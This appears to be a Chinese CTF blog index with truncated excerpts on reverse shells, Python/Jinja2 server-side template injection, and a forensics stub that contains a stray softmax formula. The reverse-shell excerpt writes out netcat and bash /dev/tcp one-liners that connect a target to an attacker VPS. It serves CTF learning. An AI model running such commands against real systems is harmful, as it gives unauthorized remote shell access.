Reverse Shell
基本原理在ctf题目中,基本上遇到的都是linux系统环境,当尝试获取控制权却发现无回显时,通常采用反弹shell的方法。
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
反弹shell的优点在于不用知道目标机开放的端口和目标机ip,在ctf题目中,通常没有回显的远程命令执行就会采用反弹shell的方法。
实现方式反弹shell的方式有很多,而具体采用哪种方式,哪种方式会成功,主要取决于目标主机上有什么样的环境以及当前用户有哪些权限,有调用bash的权限就bash弹,有装nc就nc弹,有装python就用python弹,如果题目中有提示,就用这种方法弹,没有提示就多试试
下面是具体的反弹shell一句话:
netcat12nc -lvvp 2333 #攻击机nc vps的IP 2333 -e /bin/bash #目标机
bash12nc -lvvp 2333 #攻击机bash -i >& /dev/tcp/vps的IP/2333 0>&1 #目标机
curl配合bas ...
SSTI-python向
原理SSTI(Server-Side Template Injection)即服务器端模板注入,用户的输入在正常情况下应该作为普通的变量在模板中渲染,但SSTI在模板进行渲染时实现了语句的拼接,模板渲染得到的页面实际上包含了注入语句产生的结果(和其他如SQL注入、XSS注入等类似,是由于代码不严谨或不规范且信任了用户的输入而导致的)
而其中的SST就是将页面中大量重复使用固定内容与变动内容分离,固定内容作为模板,而变动内容作为变量,每当该页面需要使用时只需要在模板中将变量替换为所需值即可,而不必为每次使用时从头到尾的生成两个完全不同的页面
SSTI中python主要考以jinja2为引擎的flask框架,如果题目很明显地指明是flask框架,那么有很大可能就是SSTI注入漏洞,要是找不到注入点(参数传递点),可以使用arjun来爆破url参数
怎样才是SSTI,请看VCR(bushi)
在如下页面中会获取URL中name参数的值替换掉页面中hello后面的字符,name的值不同hello后面的字符也不同
如果写入name={{7*7}},显示在 ...
电子取证日常练习
先创建看看,慢慢更新
evidence_{i}=\sum_{j}W_{ij}x_{j}+b_{i}在公式 evidence_{i}=\sum_{j}W_{ij}x_{j}+b_{i}中,W_i 和 b_i 分别为类别的权值和偏置。